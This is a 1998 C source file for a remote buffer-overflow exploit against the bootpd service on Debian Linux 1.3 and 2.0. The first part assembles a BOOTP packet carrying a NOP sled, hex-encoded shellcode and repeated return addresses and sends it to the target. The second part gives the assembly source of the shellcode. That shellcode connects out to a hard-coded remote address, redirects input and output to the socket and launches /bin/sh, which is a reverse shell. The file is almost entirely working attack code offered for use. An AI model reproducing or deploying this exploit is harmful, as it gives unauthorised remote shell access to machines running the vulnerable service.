/* * Bootpd Exploit against debian linux 1.3 and 2.0 and possibly other * * (C) 1998 Willem Pinckaers W.H.J.Pinckaers@cpedu.rug.nl * */ #include #include #include #include #include #include #include "bootp.h" char shellcode[] = "\x31" "\xc9" "\x89" "\xc8" "\x04" "\x66" "\x41" "\x89" "\xca" "\x89" "\xcb" "\xeb" "\x7f" "\x5f" "\x89" "\x4f" "\x08" "\x41" "\x89" "\x4f" "\x04" "\x80" "\xc1" "\x04" "\x89" "\x4f" "\x0c" "\x8d" "\x4f" "\x04" "\xcd" "\x80" "\x89" "\x07" "\x31" "\xc9" "\x80" "\xc1" "\x02" "\x66" "\x89" "\x4f" "\x0c" "\x66" "\x89" "\x4f" "\x0e" "\x80" "\xc1" "\x0e" "\x66" "\x89" "\x4f" "\x08" "\x66" "\xb9" "\x30" "\x39" "\x66" "\x89" "\x4f" "\x0e" "\x8d" "\x47" "\x0c" "\x89" "\x47" "\x04" "\x31" "\xc9" "\xb1" "\x03" "\x89" "\xca" "\x89" "\xcb" "\x89" "\xf9" "\x31" "\xc0" "\x04" "\x66" "\xcd" "\x80" "\x31" "\xc0" "\x89" "\xc1" "\x04" "\x3f" "\x89" "\xc2" "\x8b" "\x1f" "\xcd" "\x80" "\x89" "\xd0" "\x41" "\xcd" "\x80" "\x89" "\xd0" "\x41" "\xcd" "\x80" "\x31" "\xc0" "\x89" "\x47" "\x10" "\x88" "\x47" "\x1b" "\x8d" "\x47" "\x14" "\x89" "\x47" "\x0c" "\x31" "\xc0" "\x04" "\x0b" "\x8d" "\x5f" "\x14" "\x8d" "\x4f" "\x0c" "\x8d" "\x57" "\x10" "\xcd" "\x80" "\x31" "\xc0" "\x40" "\xcd" "\x80" "\xe8" "\x7c" "\xff" "\xff" "\xff" "\x2e" "\x41" "\x41" "\x41" "\x41" "\x41" "\x41" "\x41" "\x41" "\x41" "\x41" "\x41" "\x41" "\x41" "\x39" "\x30" "\xc0" "\xa8" "\x01" "\x01" "\x2f" "\x62" "\x69" "\x6e" "\x2f" "\x73" "\x68" "\x00"; #define SERVER_PORT 67 char client_addr[16] = "127.000.000.001"; char host_addr[16] = "127.000.000.001"; int realpath_adjust = 0; int exploit_length = 1200; struct sockaddr_in server_addr; void sendpacket(int, struct bootp *); void build_packet(struct bootp *, int, char**); void get_args(int, char**); void usage(void); int main(int argc, char *argv[]) { struct bootp* bp; int s; get_args(argc, argv); server_addr.sin_family = AF_INET; server_addr.sin_port = htons(SERVER_PORT); server_addr.sin_addr.s_addr = inet_addr(host_addr); if ((s = socket(AF_INET, SOCK_DGRAM, 0)) < 0) { fprintf(stderr, "cannot create socket\n"); exit(1); } if ((bp = (struct bootp*) malloc(MAX_MSG_SIZE + 1000)) == NULL) { (void) fprintf(stderr, "Cannot malloc.\n"); exit(1); }; (void) memset(bp, 0, MAX_MSG_SIZE + 1000); /* ai exploit isn't secure */ build_packet(bp, argc, argv); sendpacket(s, bp); } void sendpacket(int s, struct bootp *bp) { if (sendto(s, (const void *) bp, MAX_MSG_SIZE, 0, (const struct sockaddr *) &server_addr, sizeof(struct sockaddr_in)) == -1) { fprintf(stderr, "sendpacket: sendto returned -1 ;(\n"); exit(1); } } void build_packet(struct bootp *bp, int argc, char *argv[]) { unsigned long start_realpath = 0xbffff684 + realpath_adjust; unsigned long addr_ret_addr = start_realpath + 8 + 0x488; unsigned long temp_addr, temp_addr2 = 0; int length_tftpdir = 1; // no ftpdir just a slash at the start.. int num_nops = 600; char *p; unsigned long *q; int i; bp->bp_op = BOOTREQUEST; bp->bp_xid = 58524; bp->bp_htype = HTYPE_ETHERNET; bp->bp_hlen = 6; bp->bp_ciaddr.s_addr = inet_addr(client_addr); printf("Using: client: %s\n", client_addr); printf("Using: server: %s\n", host_addr); printf("Addr of realpath: %x\n", start_realpath); p = bp->bp_file; /* Putting in nops */ for (i = 0; i < num_nops; i++) *p++ = 0x90; printf("Added: %d nops\n", num_nops); /* Putting in shellcode */ for(i = 0; i < strlen(shellcode); i++) *p++ = shellcode[i]; printf("%d bytes of shellcode added.\n", strlen(shellcode)); /* Aligning to make sure the ret_addr is placed correctly */ temp_addr = p - bp->bp_file + length_tftpdir + start_realpath; for(i = 0; i < (addr_ret_addr - temp_addr) % 4; i++) *p++ = 'a'; printf("%d bytes of alignment added.\n", (addr_ret_addr - temp_addr) %4); /* set return adress.. hopefully in exploit code.... */ temp_addr2 = start_realpath + length_tftpdir + (num_nops / 2); if (!(temp_addr2 & 0xff)) temp_addr2++; printf("Setting return addr to: %x \n", temp_addr2); q = (unsigned long *) p; do { *q++ = temp_addr2; p = (char *) q; } while ((p - bp->bp_file) < exploit_length); *p++ = '\0'; printf("Exploit length: %d", strlen(bp->bp_file)); } void get_args(int argc, char *argv[]) { int ch; while ((ch = getopt(argc, argv, "c:s:a:e:")) != EOF) { switch(ch) { case 'c': strcpy(client_addr, optarg); break; case 's': strcpy(host_addr, optarg); break; case 'a': realpath_adjust = atoi(optarg); break; case 'e': exploit_length = atoi(optarg); break; default: usage(); } } } void usage(void) { printf("bootpd exploit against debian linux 1.3 and 2.0 (probably others)\n"); printf("\nBy Willem Pinckaers (W.H.J.Pinckaers@cpedu.rug.nl) 1998\n"); printf("\nUsage:\n\tbootpd: -c client_addr -s server_addr -a offset\n"); exit(1); } --------- CUT HERE --------- --------- CUT HERE --------- /* * Exploit code, casts a shell to a remote host * (C) 1998 Willem Pinckaers (W.H.J.Pinckaers@cpedu.rug.nl */ void main() { __asm__(" xorl %ecx, %ecx movl %ecx, %eax addb $0x66, %al incl %ecx movl %ecx, %edx movl %ecx, %ebx jmp endc0de realstart: popl %edi movl %ecx,0x08(%edi) incl %ecx movl %ecx,0x04(%edi) addb $04,%cl movl %ecx,0x0c(%edi) leal 04(%edi), %ecx int $0x80 movl %eax, (%edi) xorl %ecx, %ecx addb $02, %cl movw %cx, 0xc(%edi) movw %cx, 0xe(%edi) addb $0x0e, %cl movw %cx, 0x8(%edi) movw $0x3930, %cx movw %cx, 0xe(%edi) leal 0x0c(%edi), %eax movl %eax, 0x04(%edi) xorl %ecx, %ecx movb $03, %cl movl %ecx, %edx movl %ecx, %ebx movl %edi, %ecx xorl %eax, %eax addb $0x66, %al int $0x080 // connect xorl %eax,%eax movl %eax, %ecx addb $0x3f, %al movl %eax, %edx movl (%edi), %ebx int $0x80 // dup2 movl %edx, %eax incl %ecx int $0x80 // dup2 movl %edx, %eax incl %ecx int $0x80 // dup2 xorl %eax, %eax movl %eax, 0x10(%edi) // pointer = NULL movb %al, 0x1b(%edi) // terminate /bin/sh leal 0x14(%edi), %eax // start van /bin/sh movl %eax, 0x0c(%edi) xorl %eax, %eax addb $0x0b, %al leal 0x14(%edi), %ebx leal 0x0c(%edi), %ecx leal 0x10(%edi), %edx int $0x80 // execve xorl %eax,%eax incl %eax int $0x80 endc0de: call realstart sockfd: .byte 0x2e, 'A', 'A', 'A' .byte 'A', 'A', 'A', 'A' .byte 'A', 'A', 'A', 'A' sockaddr: .byte 'A', 'A' // must contain 02 .byte 0x39, 0x30 // must contain port nr .byte 192, 168, 01, 01 // must contain ip .string \"/bin/sh\""); }